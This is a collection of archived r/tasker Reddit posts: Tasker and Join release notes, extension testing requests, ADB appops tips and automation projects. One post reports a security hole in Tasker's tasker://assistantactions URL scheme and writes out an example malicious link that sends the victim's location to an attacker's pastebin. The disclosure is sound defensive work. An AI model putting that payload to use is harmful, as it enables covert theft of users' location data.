This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/JoobaKooba on 2024-10-20 06:03:03+00:00.

---

I could tinker with it some more but I'll call it done.

If anyone wants it just let me know. Seems my projects are always met with:

"Why didn't you just make it make a notification"

"Why would BOTH volume buttons activate your torch? That's stupid. Just make it a double click of one."

Etc etc etc.

I make these for me but if someone likes the concept I guess I'd be surprised at this point.

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/joaomgcd on 2024-10-15 12:57:12+00:00.

---

As I mentioned, the Join Chrome extension needed to be updated so that it is v3 compatible.

After a couple of very boring, unsatisfying and mostly pointless weeks, I was finally able to update the extension so that it hopefully works correctly on v3.

Anyway, I've updated the Join Chrome Extension source code so that anyone can try it.

This will probably still have some bugs, but I tried to test most interactions to make sure that it mostly works, and it seems ok.

It would be super awesome if someone here could test the extension before I publish it for everyone, so any remaining bugs could be ironed out :) Please don't request any new features though, I just want to make the extension v3 compatible for now and working like it was before. Thanks!

If you want to help, follow these steps:

• Uninstall the current Join Chrome extension
• Download the updated extension code here
• Unzip the file to any folder on your PC
• In Chrome, open this URL: chrome://extensions/
• Enable Developer mode on the top right, if not enabled
• Click the Load unpacked button on the top left
• Select the folder you previously unzipped

The Join extension should now be loaded and you'll be asked to sign in again (hopefully 😅).

Please try using the extension in your daily routine as usual and let me know if anything stops working.

Thank you very much in advance. I'm now hopefully closer to being able to work on Tasker again! Phew... 😜

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/theniggles69 on 2024-10-03 14:43:57+00:00.

---

EDIT: Sorry, the link I posted was bad. It should work now.

UPDATE: I made a super basic Tasker project that allows you to toggle any of these system exemption AppOps via a series of List Dialogs. Just run the task, select an app from the list, then tap one of the AppOp items to toggle between default and allow. Needs ADB Wi-Fi to work. Import from TaskerNet: LINK

Hello my fellow tinkerers!

I know I am a bit late to post this seeing as Android 14 is already a year old now (I meant to get this out a lot earlier but you know how things go 😅), however, I expect this information to still be relevant and useful come Android 15 (although I have only personally tested this on Android 14 devices, so take that with a grain of salt).

A quick recap of the problem (skip all this if you just want to get into "The Nitty Gritty"):

Starting with Android 14 (API level 34) app notifications posted with the ongoing flag set to true (a.k.a. persistent notifications) can be manually dismissed by sliding them away in the UI. This behavior applies to all apps regardless of their target SDK version.

Note: Obviously, this update came in response to the complaints Android users (as a whole) had in regards to certain apps cluttering up their notification view with unwanted non-dismissible notifications, so I do appreciate the viewpoint that this was much less a problem than it was a solution (if anything I think this was probably a good move towards improving the platform's overall accessibility and ease of use).

If, like myself, you had a lot of Tasker tasks (especially tasks that use AutoNotification) that relied on persistent notifications being, well, persistent, then you may have found this update to be pretty annoying. In response to this behavior change The Supreme Developer (João Dias) actually released an update for AutoNotification that will (if enabled in the settings) automatically clone and re-post any persistent notifications you accidentally dismiss, and, despite not being a perfect solution, this feature does work pretty well most of the time. However, there does exist a better solution built into the OS itself (albeit only accessible via ADB), and I will demonstrate how you can use this to selectively enable the old (pre Android 14) behavior for persistent notifications on a per app basis (so you kind of end up getting the best of both worlds).

Hidden System Exemptions:

Also introduced in Android 14 were a new set of app ops, which I am informally calling hidden system exemptions. Oddly enough, I have yet to see these mentioned anywhere online despite them having been available since Android 14's initial release.

Note: I am writing this guide under the assumption that as long as your device is running Android 14 (or above) these app ops should be available to you, although it is entirely possible I am just making a fool of myself 😅 (my assumption here is guided by the fact that this is all built into the AOSP, so unless your device's OEM removed this functionality you shouldn't run into issues 🤞).

The Nitty Gritty:

Anyway, enough chitchat; let's dive right in! Many of you have likely modified app ops before (e.g. allowing Tasker to PROJECT_MEDIA for seamless screen recording), but even if you have no idea what I'm talking about you should be able to follow along provided you know how to run commands from an adb shell

SYSTEM_EXEMPT_FROM_DISMISSIBLE_NOTIFICATIONS

Description: Granting this exemption to an app will cause any persistent notifications posted by that app to not be dismissible through the UI (i.e. persistent notifications from that app will behave as they did prior to Android 14)

To grant this exemption use ADB to run the following (replacing `` with the name of an app package, e.g. com.joaomgcd.autonotification for AutoNotification):

adb shell appops set --uid SYSTEM_EXEMPT_FROM_DISMISSIBLE_NOTIFICATIONS allow

Should you decide you want to return an app to its default behavior all you have to do is run the same command and replace allow with default, like such:

adb shell appops set --uid SYSTEM_EXEMPT_FROM_DISMISSIBLE_NOTIFICATIONS default

Note: Below is just extra stuff I've chosen to include. If all you wanted was to change the way persistent notifications work, then see above.

The rest of the system exemption app ops seem to primarily just restrict what you can change through the Settings UI, so you'll likely find their usefulness limited for most use-cases (unless you need to e.g. set up a device for someone else and prevent them from changing certain settings).

SYSTEM_EXEMPT_FROM_SUSPENSION

Description: Granting this exemption to an app will prevent it from being suspended. Suspending an app is typically done through the Digital Wellbeing app (also known as pausing an app), but, depending on your device, may also happen as a result of other system apps (e.g. Extreme Battery Saver on Pixel devices will suspend most apps you haven't manually whitelisted). If you grant an app this exemption you should eventually see an update to the UI that reflects this change (e.g. the Pause app option will disappear when long-pressing an app icon on your launcher, and viewing the app in Digital Wellbeing will show a message stating something like, "Important apps cannot be paused/suspended").

To grant this exemption use ADB to run the following (replacing `` with the name of an app package):

adb shell appops set --uid SYSTEM_EXEMPT_FROM_SUSPENSION allow

To undo this run:

adb shell appops set --uid SYSTEM_EXEMPT_FROM_SUSPENSION default

SYSTEM_EXEMPT_FROM_POWER_RESTRICTIONS

Description: Granting this exemption to an app does a few things. Firstly, it will force disable battery optimizations for that app (and you will no longer be able to change this through the Settings UI), allowing unrestricted battery usage in the background. It will also allow the app to start foreground services from the background (provided it could not do this before). Additionally, the Stop button that is accessible from the Active apps popup found in the Quick Settings pull down menu will not be available for this app.

To grant this exemption use ADB to run the following (replacing `` with the name of an app package):

adb shell appops set --uid SYSTEM_EXEMPT_FROM_POWER_RESTRICTIONS allow

To undo this run:

adb shell appops set --uid SYSTEM_EXEMPT_FROM_POWER_RESTRICTIONS default

SYSTEM_EXEMPT_FROM_HIBERNATION

Description: Granting this exemption to an app simply prevents it from being hibernated by the system. This is identical to toggling off the Pause app activity if unused setting; the only difference being that you will no longer be able to change this setting through the Settings UI.

To grant this exemption use ADB to run the following (replacing `` with the name of an app package):

adb shell appops set --uid SYSTEM_EXEMPT_FROM_HIBERNATION allow

To undo this run:

adb shell appops set --uid SYSTEM_EXEMPT_FROM_HIBERNATION default

SYSTEM_EXEMPT_FROM_ACTIVITY_BG_START_RESTRICTION

Description: Granting this exemption to an app will allow it to bypass the restrictions on starting activities from the background (first introduced in Android 10). Most apps that rely on being able to do this (including Tasker) should already be exempt from these restrictions if you have granted them permission to Display over other apps (SYSTEM_ALERT_WINDOW).

To grant this exemption use ADB to run the following (replacing `` with the name of an app package):

adb shell appops set --uid SYSTEM_EXEMPT_FROM_ACTIVITY_BG_START_RESTRICTION allow

To undo this run:

adb shell appops set --uid SYSTEM_EXEMPT_FROM_ACTIVITY_BG_START_RESTRICTION default

Optional: You can exclude the --uid flag in any of the above commands, and (as far as I can tell) this will still work exactly the same. I only include it here as per the recommendation from a comment buried in the AOSP source code, however, this does not seem to be necessary for any of the SYSTEM_EXEMPT_FROM_* app ops. Just make sure to only run this either with or without `...

---

Content cut off. Read original on https://old.reddit.com/r/tasker/comments/1fv9ez4/how_to_enable_nondismissible_persistent/

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/joaomgcd on 2024-09-30 12:56:53+00:00.

---

As I mentioned, both AutoRemote and Join Chrome extensions need to be updated soon so that they are v3 compatible.

As a kind of conversion exercise, I started with AutoRemote since it's a much smaller extension, where I'll need to do less changes to make it work.

I've now mostly completed the conversion process (again, not fun :P) and have published the AutoRemote Chrome Extension to Github.

I preferred not to publish it to the Chrome Store immediately without additional testing from other users, so if anyone is willing to test it before the official release, that would be greatly appreciated!

If you want to help, follow these steps:

• Uninstall the current AutoRemote Chrome extension (Warning, your Chrome's unique URL may change upon reinstallation, not sure)
• Download the updated extension code here
• Unzip the file to any folder on your PC
• In Chrome, open this URL: chrome://extensions/
• Enable Developer mode on the top right, if not enabled
• Click the Load unpacked button on the top left
• Select the folder you previously unzipped

The AutoRemote Chrome extension should now be loaded again, and you'll be prompted for the device's name as usual.

Please try to use the extension like you normally would and let me know if there's anything wrong.

Next up I'll be working on converting the Join extension! That should be much more work, but hopefully with the work I did on the AutoRemote code, it'll be easier than otherwise. Wish me luck! 😅

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/joaomgcd on 2024-09-23 13:05:22+00:00.

---

As mentioned before Google changed how Google Drive API works.

To make a long story short:

• all of my apps will still be able to access Google Drive BUT ONLY FILES AND FOLDERS THAT THE APP ITSELF CREATES
• none of my apps will be able to have access to your full Google Drive now. This affects:
  • Tasker will not be able to manage the files it hasn't created itself, ie, backups will still work, downloading files from outside Tasker's folder will not work
  • AutoSheets will not be able to list all your Google Sheets files on your Google Drive, so it won't be able to assist you selecting one of your existing Spreadsheets: you'll have to manually paste in its URL/ID
  • Other apps such as Join or AutoRemote have no changes regarding Google Drive API
• Join has an issue where it's no longer able to sign you in. This is because Join was only requesting access to the Google Drive API, which used to also give it the ability to sign a user in. Google changed how this works so I had to manually explicitly add the request to be able to sign the user it to make it work again
• I've changed/fixed the apps now so they work with these new restrictions

Fixed Versions

• Tasker
• Tasker Direct Purchase Version
• Join
• AutoSheets

Let me know if there are still issues related to signing in/Google Drive with these apps.

Thanks in advance!

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/NoRing2044 on 2024-09-22 13:56:12+00:00.

---

Hey everyone,

A while ago, I came across a post here about a Tasker Webview scene using HTML, CSS, and Javascript, designed to showcase a project called AI (Android Intelligence).

It was inspired by Apple’s Intelligence features and built with Google’s Gemini Design Principles in mind. After reading that post, I was inspired to take it up and complete the project!

The original post from nimeofficially to his Post laid out an amazing foundation, and I want to give full credit for the template. I’ve added features like making the scene fully responsive, added glowing effect on it, and fine-tuning some of the trickier tasks like Destroy Task in Javascript. It’s now a fully functional project with output options similar to ChatGPT, depending on your settings.

I’m really excited to share the final result with the Tasker community. You can check out the updated version here:

Screen recording:

Taskernet link

Big shoutout to nimeofficially for the initial idea and work—this wouldn’t have been possible without it!

Hope you all enjoy it, and I’d love to hear your thoughts! 😊

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/mylastacntwascursed on 2024-09-16 18:51:41+00:00.

---

To launch a task through the command system, a third party app needs to declare and manually be granted the net.dinglisch.android.tasker.PERMISSION_SEND_COMMAND permission. Yet any app or website can run any task by launching tasker://assistantactions?task=TASKNAME.

E.g. if I put Tasker tips & tricks in a web page and you have a task named reboot, your phone might just reboot when you tap that link. You would not be amused.

Parameters can also be passed, possibly turning a benign task previously shared on Reddit, XDA or totallylegitwebsite.com/taskertips into a malicious one.

Example: attacker shares a task to easily share selected text to a user configurable Pastebin account, then crafts the malicious URL tasker://assistantactions?task=known_task_name&par1=%LOCN&par2=URL_to_attackers_pastebin to get the victims precise location.

This is bad. It can be abused in numerous ways. The tasker://assistantactions URL should only be able to run tasks that the user has explicitly allowed to be launched in this way. u/joaomgcd, are you aware, and what is your opinion on this? Am I missing something? Can I turn this off? And what else does assistantactions do without user confirmation?

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/joaomgcd on 2024-09-12 13:11:01+00:00.

---

Hi everyone! I'm back from my break!

Unfortunately I won't be able to to get to the good stuff (you know, actually programming and making Tasker better) for a bit now.

Here's what I need to do first:

• Go through the 1000+ user requests that I got during the break
• Update Join and AutoRemote Chrome extensions to use Manifest v3 cause Google is ending support for v2 extensions. This one is going to be a whole lot of work for no functional benefit, so not fun...
• Google removed full Google Drive access from apps as I mentioned before, so I need to try to convince Google to allow Tasker, AutoRemote and AutoSheets to be able to access Google Drive. Unfortunately this makes AutoSheets simply not work for some people right now.
• Update Tasker's (and all my other apps, but Tasker is first) Target API to 34 (as per Google Play Store requirements) which might introduce some breaking changes which will have to be tested thoroughly

I really, really wish I could just go ahead and continue working on Remote Action Execution for example, or continue updating the new UI, but I just can't right now unfortunately.

Let me know if you have any other pressing issues that you got while I was away and I'll try to address those as well!

Thanks for understanding and see you soon!

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/UnchartedPro on 2024-08-18 12:43:17+00:00.

---

I don't really have a desire to change anything with my phone but if the tasker app is good I'm willing to explore it. What are some really cool things I can do with the app? Just to give me so ideas and decide if I should play around with the app

I have in the past used Bixby routines but hardly ever and assume tasker is way better.

Also I have no experience coding so hopefully that isn't necessary

Thanks

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/joaomgcd on 2024-08-02 18:07:11+00:00.

---

Every year since I can remember Google has hit my apps with some kind of policy issue right around the time I'm about to go away for a bit in the Summer. This year is no exception.

Some users have started receiving this warning when trying to use Google Drive features with Tasker:

Google suddenly needs me to justify why Tasker needs full Google Drive access. However, they didn't warn me or anything; they simply cut off access without any previous notice. Now, I need to go through the process of justifying Tasker's access to the Google Drive API: make a video, have them respond to my justification with (undoubtedly) a reason why it's not sufficient, then add more to the justification and go round and round until eventually they accept it. This process sucks because I shouldn't be working right now :P

Oh well, at least Tasker seems to be relatively stable, so hopefully there won't be too much trouble while I'm gone.

Hope you all have a great time! Love you! ❤️

Cheers!

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/ElecEst on 2024-08-01 18:14:33+00:00.

---

I created a profile that I trigger from my watch to have a timer make my phone ring as if I was getting a call after 1min and 30 seconds from me pressing a button. I call it the "bail out" profile. So I have an excuse to leave. Does anyone else have a funny or random use for tasker?

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/UsrnameNtAvailable on 2024-07-29 17:55:22+00:00.

---

Not sure if many know about this app, but it is really useful.

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/joaomgcd on 2024-07-30 15:31:56+00:00.

---

EDIT: Title should read 6.4, not 6.3!

Ok, I think this one will be big! Introducing Remote Action Execution in Tasker! This means that you can now run select actions on a remote device! 😁

Sign up for the beta here.

If you don't want to wait for the Google Play update, get it right away here.

You can also get the updated app factory here.

If you want you can also check any previous releases here.

Remote Action Execution (Full Setup Instructions)

Demo:

You can now run actions in Tasker on a remote device!

This means that by simply setting a new Remote Device field in those actions, it'll make Tasker run that action on another device instead of the one you're on!

Task execution runs normally and is totally transparent to you, so Tasker will wait for the action to run remotely and any variable that the remote action produces will be available for you to use in the local task!

For example, you could:

• Run Get Location v2 action remotely
• Run Browse URL action with the URL from the location action locally...
• ...allowing you to see the other device's location on your local device!

These are the actions that currently support this new Remote Device option:

• Browse URL
• Get Location v2
• Set Variable
• Command

I wanted to be careful and not simply add it everywhere just to make sure nothing major breaks. If all goes well I can add this to other actions or potentially even to all other actions 😅

In this initial phase I particularly wanted to add it to the Command action which should allow you to trigger just about anything remotely, giving you the most flexibility with the least possible side effects.

I also want to add it to the Perform Task action, which would allow you to also get back results from any of your remote tasks. For example, with that you could get your remote device's battery level, or any other value.

Under the hood Remote Action Execution uses Google's FCM to trigger stuff remotely. Since you'll be using your own Google Cloud projects for this, there's no risk that other people could push stuff to your devices, unless you share the cloud project's secrets.

Also, this is not tied to your Google account. As long as you use the same Google Cloud project credentials on all your devices, those devices can even not have a Google account at all and it should still work, provided that the FCM service is up and running on it. This means that you can remote actions on any of your devices, regardless of which accounts it has.

This will not work on App Factory generated apps unfortunately.

Don't forget to check the instructions to learn how to get this working!

Let me know what you think about this new feature!

Enjoy!😎👍

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/mikthinker on 2024-07-23 16:41:53+00:00.

---

MapTasker is a program that runs on your desktop, reading your Tasker XML file (backup.xml or other exported xml file)and displays your entire or partial Tasker setup in a detailed format. MapTasker helps visualize and understand your Tasker projects, profiles, tasks, and scenes.

There are many display options to customize the output the way you want it. Additionally, MapTasker can use Ai to analyze your Tasker configuration.

New features since the last announcement include:

• See results directly within the GUI: the configuration 'Map', outline 'Diagram' and 'Tree' structure views.
• Additional Ai models supported: OpenAI's 'gpt-4o', 'gpt-4o-mini'; and llama's 'qwen', 'codellama', 'aya', 'codegemma', 'gemma', 'deepseek-coder' and 'phi3'. (Note 3)
• All window sizes and positions are maintained across sessions.
• Tasker version 6.3.12 support.
• Single Project, Profile and Task name pull-down menus are now prepopulated from the XML file.

To install: 'pip install maptasker -U'

To run from the GUI (recommended): 'maptasker -g'

For a list of all changes, refer to the full change log.

Program details can be found here.

Report any/all feature requests and/or issues at this link.

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/joaomgcd on 2024-07-18 14:25:46+00:00.

---

Check out the release video: 

You can read all about this release here: 

Note: Google Play might take a while to update. If you don’t want to wait for the Google Play update, get it right away here.

Highlights of this release include:

New UI Preview

Bringing you a much needed UI revamp! It's still very early, but you can start to see where it's going! For now, only the the Task Edit screen is being worked on (and is not yet finished) but the plan is to re-do all of Tasker's UI!

You can enable the preview in Tasker Preferences > UI > Use Tasker 2024 UI (VERY EARLY)

WebUI

I tried making the new UI as flexible as possible. With that came the ability to manipulate the UI from any device on your local network! By enabling the new WebUI option you can build your own Task editing UIs on any device including your PC!

Check it out here:

Device Admin Actions

With the incredible power of being your device's owner, Tasker can now perform awesome actions like kill other apps, reboot your device, disable apps or even uninstall apps, all without root!

Get File/Folder Properties

This is a super powerful version of the List Files action that allows you to recursively list files/folders and many of their properties all in one go, allowing to filter and sort them as you wish!

Get Network Data Usage

Allows you to get the data your phone used in any given time period!

Array Compare

Supply it with 2 or more arrays, and you'll get back all differences and similarities between them!

Full Changelog

Check out all the additions/changes/fixes here: 

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/joaomgcd on 2024-07-15 15:30:20+00:00.

---

A new Beta is now out! I made some final adjustments (mostly bug fixes) before releasing for everyone, so, if all goes well, this will be the version that gets released publicly very soon (hopefully this week).

Sign up for the beta here.

If you don't want to wait for the Google Play update, get it right away here.

You can also get the updated app factory here.

If you want you can also check any previous releases here.

Full Changelog

• Added Check Device Owner option in Device Owner/Admin action
• Changed how clearing device owner works so it also clears profile owner
• Changed how HTTP Request action detects the encoding of downloaded text so hopefully it gets it right more often
• Changed how pressing back works in new UI: if not saved will ask to save first; if any action is expanded, collapse first.
• Removed some unneeded data when using the Compact Exports setting
• Fixed Tick event sometimes not stopping to trigger when Tasker is disabled
• Fixed how setting haptic feedback works in some situations
• Fixed using variables for checkboxes in some situations
• Fixed getting correct file permissions in some situations when using Pick Input Dialog
• Fixed Media Button state causing buttons to be grabbed even if other condition in same profile was not active
• Fixed Only New option in Notification event condition
• Fixed javascript in situations where the word dialog was being used in the script
• If Tasker is disabled do less things in the background
• Fixed colors in dark mode in new UI
• Fixed getting item index in array in certain situations
• Fixed some crashes

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/Lord_Sithek on 2024-06-28 15:23:40+00:00.

---

This is simplified version of the project posted here

Somehow I've felt a burst of motivation to get back to this project :) But this time I wanted to simplify it as much as possible. If anyone wants to use more advanced techniques, please search through the various ideas and projects posted over last months, like here, here and here.

I added a profile which automatically accepts debbuging prompts (screen needs to be on). Also when device boots, a child task is executed to suspend the main task until the screen is unlocked. Then the main task waits for WiFi to be connected.

DOWNLOAD PROJECT FROM TASKERNET

In this project I used some great methods created by users much more skillful than me. Credits especially to u/The_IMPERIAL_One and u/BillGoats, as well as u/Ratchet_Guy, u/anuraag488, u/aasswwddd, u/cm2003, u/DutchOfBurdock and others who have contributed and made it possible.

I'm copying parts of the instruction from the original post which are still valid (with some edits):

The project requires some manual one-time actions to set everything up, but once it's done, all you should need is to unlock the phone after boot.

Prerequisites:

• Termux
• Termux:Tasker plugin
• AutoInput plugin

I assume you have above-mentioned apps installed and that you already enabled Developer Options and Debugging on your device.

1. Setup Tasker and AutoInput

If you haven't done that before, grant Tasker following permissions:

• SET_VOLUME_KEY_LONG_PRESS_LISTENER
• WRITE_SECURE_SETTINGS
• Run commands in Termux environment:

On your device, go to Settings > Apps > All apps > Tasker > Permissions > Additional permissions > Run commands in Termux environment (the path may vary a little according to the brand and system) and select Allow.

Allow AutoInput to use Accessibility Service:

Open AutoInput, tap on red warning text and click OK; this should take you to Accessibility Service settings. Enable it for AutoInput. Then allow AutoInput to run in background by disabling any battery saving option for this app.

2. Set up Termux

(a) install android-tools package

Open Termux and issue this command:

pkg install android-tools

Confirm downloading in terminal if needed by typing y and Enter on keyboard.

(b) set allow-external-apps property for Termux to true

In Termux, copy & paste the following script and confirm by pressing Enter:

value="true"; key="allow-external-apps"; file="/data/data/com.termux/files/home/.termux/termux.properties"; mkdir -p "$(dirname "$file")"; chmod 700 "$(dirname "$file")"; if ! grep -E '^'"$key"'=.*' $file &>/dev/null; then [[ -s "$file" && ! -z "$(tail -c 1 "$file")" ]] && newline=$'\n' || newline=""; echo "$newline$key=$value" >> "$file"; else sed -i'' -E 's/^'"$key"'=.*/'"$key=$value"'/' $file; fi

3. Pair your device with ADB and enable ADB WiFi

Make sure that ADB Pairing profile in your new Tasker project is enabled and that you have WiFi connection.

On your device, navigate to Settings > System > Developer options > Wireless debugging (the path may vary a little depending on the brand and system). Enable this feature. If debugging prompt appears, it should be automatically accepted, otherwise accept it manually. Next, tap on Pair device with pairing code (or similar).

With the pairing code visible, long press the Volume Up button to make pairing. If debugging prompt appears, it should be automatically accepted, otherwise accept it manually. If pairing succeeded, you should see at least one paired device at the Wireless debugging screen, named as xxx@localhost.

ADB Pairing profile should get disabled as it won't be needed anymore. Now, Enable ADB WiFi task starts. You will be informed with a toast and a notification if ADB WiFi has been enabled. If not, you can repeat the process by tapping on the notification button Try again.

Optionally, if you use Shizuku service, you can enable it automatically on boot as well. To that end, enable action labeled as [OPTIONAL] Start Shizuku service in Enable ADB WiFi task.

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/joaomgcd on 2024-06-27 13:51:19+00:00.

---

Last week I received an email from Google saying that I needed to update the usage of their FCM (Firebase Cloud Messaging) API so it conforms to a new version. To be fair, I had received the warning that the API would be deprecated a long time ago, but apparently I forgot. 😅

In the email they said I had until June 20th to update my usage of FCM and if I didn't my apps that use it could start showing errors.

For those who don't know, FCM is what allows apps to push data remotely to an Android device or Web Browser.

The problem: this is used by many of my apps!

So, I had only a few days to update these apps/services:

• Join Server
• Join Android App
• Join Chrome Extension
• Join Website
• Join Desktop App
• Join Node-Red nodes
• AutoRemote Android app
• AutoRemote Server
• AutoRemote Chrome Extension
• AutoVoice Server
• AutoWeb Server
• AutoTools Server

I think I'm not forgetting anything 😅

I worked relentlessly for several days to get all of these updated but unfortunately I couldn't do them all in time.

Luckily, I got an email from Google that since many people were having trouble updating things in time, they were postponing the deadline to July 22nd. So now, I have a bit more time to update all of this.

To add insult to injury, I recently suffered an injury that makes it hard for me to work for long periods, so I can't work full time at the moment.

I just wanted to share the situation I'm in at the moment so you understand why there haven't been any updates lately and it'll probably take me a bit longer to update everything.

I really wanted to release the latest Tasker beta for everyone, but that'll have to wait for a bit now.

Hope you understand and see you soon! 👍

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/joaomgcd on 2024-06-05 14:44:57+00:00.

---

A new Beta is now out! I've added another Android 15+ feature to Tasker (which won't be available right now, cause it's still in beta) but you can try it in the Vibrate Pattern action: vibration intensity!

Also, I want to release Tasker 6.3 to the general public soon, so let me know if there are any outstanding issues in this release that were not present in the regular public release.

Just to be clear, public releases won't be "held back" by the new UI. The new UI is still very much in its early stages (and will always remain optional). Public releases will continue as usual, independently of how much of the new UI is done.

Sign up for the beta here.

If you don't want to wait for the Google Play update, get it right away here.

You can also get the updated app factory here.

If you want you can also check any previous releases here.

Vibration Intensity

Demo:

You can now define a Vibration Intensity pattern in both the Vibrate Pattern and Notify actions. (Notify will not work yet, but only when Android 15 apps can be built normally).

This allows you to create more customized and recognizable vibration patterns like you can see in the video example.

New Tasker UI: Use Variables In Any Input Field

Demo:

Previously there were some fields in Tasker that couldn't be set with variables/text:

• Dropdown input fields, where you select from a list of pre-defined values
• Checkbox fields, where you enable or disable an option

You can now set both of these via variables/text directly! This gives you much more flexibility when creating your tasks!

For example, previously if you wanted a task that would change your DND mode based on a Join command, you would have to add multiple actions, one for each different DND mode, and then run the correct one, based on the command. Now, you can simply send the mode name as the command and set it in a single action!

Something like this is now possible!

Simply touch that little keyboard button that's next to the input field, and any field will be editable via text!

New Tasker UI: Collapsible Blocks

Demo:

You can now collapse If, Else and For blocks in the new Tasker UI. By doing so, you can drag multiple actions at the same time and also make it easier to look at your task when it's getting too big and with multiple nested blocks.

New Tasker UI: Multiple Selection Options

Demo:

When you long-select an action, you get a dynamic action menu at the top that shows a bunch of options and there are a few new ones!

• Select All Actions
• Clear Selection
• Select In Between Actions

Selecting in between actions is particularly handy when you want to select a bunch of actions in a row: simply select the first, then the last action and use the in-between option to select all the actions in between!

New Tasker UI: Condition Colors and Grouping

Demo:

You can now see, if possible, which actions will run in a task or not, depending on their If conditions.

If a condition is known to be true then the block's color will indicate that and you can know right away if it'll run

This only works if Tasker can know if it's true though. If you use local variables in your condition, Tasker can't know if conditions will be true or not until the task actually runs, so the condition colors will be neutral.

When editing a condition list, you can now also much more easily identify how conditions will be evaluated.

You now have visible evaluation groups like this:

In the example you can now clearly see that the inner condition will be evaluated first and only then will that be combined with the outer condition.

Full Changelog

• Added Intensity Pattern options to Vibrate Pattern and Notify actions (Notify is Android 15+)
• Added Clear Device Owner option in Device Admin/Owner action, so you can make Tasker not the device owner again
• Added option to disable Device Owner in Tasker Preferences and in the Device Admin/Owner action
• New Tasker UI: allow collapsing blocks like Ifs, Elses and Fors
• New Tasker UI: allow dragging multiple actions simultaneously by collapsing their blocks
• New Tasker UI: set condition background colors to a neutral color if condition can't be evaluated because of local variables present in the condition
• New Tasker UI: only show some fields when needed, like in the Flash action only show lots of fields if Tasker Layout is enabled.
• New Tasker UI, correctly show multiple levels of precedence when editing an action's conditions.
• New Tasker UI, allow correct selection of parameters where you can select a pre-defined option, while also allowing you to set the value manually with text
• New Tasker UI, allow for toggleable parameters (enable, disable or toggle) to be set to toggle with the text toggle, to enabled with 1, true, on or yes and to disabled otherwise when manually editing the parameter's text
• New Tasker UI added option to select all actions when using multi-select
• New Tasker UI: add Select In Between Actions and Clear Selection to the multi-select actions
• New Tasker UI: Colors in Condition blocks now show if the condition is true or not
• Fixed Power State in some recent Samsung devices
• Fixed editing text inputs in new Tasker UI when entering text not in the last cursor position
• Fixed not clearing output arrays in Google Drive actions before setting them in some situations
• Fixed showing code input dialog every single time when entering the Running Tasks screen
• Fixed Some events like Secondary App or Music Track Changed not working in Android 10 or below
• Fixed Logcat with ADB Wifi triggering at inappropriate times sometimes
• Fixed some task variables not updating correctly if user doesn't apply Tasker setup after creating a new variable
• Fixed Add option in Set Clipboard action in some situations
• Fixed sometimes Tasker asking for the unlock code even if it was already unlocked

Enjoy! 😎

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/Ratchet_Guy on 2024-05-17 22:29:35+00:00.

---

I recently updated this AutoNotification Variable Viewer Task to run faster, and to not require any additional plugins (such as AutoTools, etc.)

 

For those unfamiliar with it, or just for a general review - we know that AutoNotification returns a massive list of variables following an "AutoNotification Query" Action. In order to find the right variable(s) you want to use, it would be convenient to see all the values inside these variables at a glance.

 

Therefore - welcome to this viewer Task!

 

It begins by letting you select the app whose notification(s) you want to query via a simple Dialog List. Following that it quickly and conveniently returns a scrolling list of all generated AutoNotification Variables and their Values. It not only lets you see these values, but by clicking on any of them - it will copy that variable name and value(s) to the Clipboard.

 

For technical reference here is an image of the entire Task Action List. Note that as this is a modification of an earlier version of this Task - there may be some redundancies, etc. but I assure you it runs faster than ever, and also - it requires no additional plugins!

 

It only requires a companion Task to generate the first app selection dialog, the link to which can be found below. As a note it will actually run without the companion Task by simply specifying an app package directly in Action A5.

 

To use - simply download/import the following 2 Tasks, and run the main Task. Now you're well on your way to making better use of AutoNotification!!

 

Task 1 - Main Task

 

Task 2 - Companion Task

 

UPDATE - Added ability for final output dialog to be single item select, or multiple item select. Check back here for future updates.

 

UPDATE - Added option to skip the output dialogs and just put all the data directly into the clipboard.

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/joaomgcd on 2024-05-09 10:35:35+00:00.

---

Another beta is now out! A new Device Effects API was added in Android 15 so I added it to Tasker :)

Sign up for the beta here.

If you don't want to wait for the Google Play update, get it right away here.

You can also get the updated app factory here.

If you want you can also check any previous releases here.

Set Device Effects

Demo:

Android 15 specific version of Tasker to use it: https://www.dropbox.com/scl/fi/b6xpw3y7zt1q5wl714zbz/Tasker.Android.15.apk?rlkey=xhq8v20wq9kcwru7pz91et7uo&dl=1

You can now use the new Android 15 Device Effects API with Tasker!

For now, it allows you to set

• Screen To Grayscale
• Dim Wallpaper
• Toggle AOD on and off

In the future it's probable that Google will add more stuff to the API like:

• Toggle Auto-Brightness
• Toggle Tap To Wake
• Toggle Tilt To Wake
• Disable Touch (probably for Watches?)
• Maximize Doze
• Minimize Radio Usage
• Toggle Dark Mode (when this is available, I'll use it in the dedicated Dark Mode action in Tasker so you can continue using that)

You need the special Android 15 version of Tasker above since building apps for Android 15 is still in beta, so I can't do regular Google Play builds with it.

New Condition Editor

Demo:

You can now edit your action's conditions in the new Tasker UI!

With this comes the new (very requested) feature of allowing you to move conditions around inside the "total" condition!

Also, it's now a bit easier to visualize how conditions will be evaluated with visible groups, when you use the + variants of the operators (And+, Or+, Xor+).

Multiple Editors Horizontal And Vertical Arrangement

Demo:

When you add multiple editors via the UI Tuner, depending on how wide your screen is, Tasker can now position these editors vertically, instead of always horizontally.

If you have a large tablet screen, you're probably still going to get editors side-by-side, even if you enable 4 of them, but on phones with smaller screens you'll see them vertically arranged!

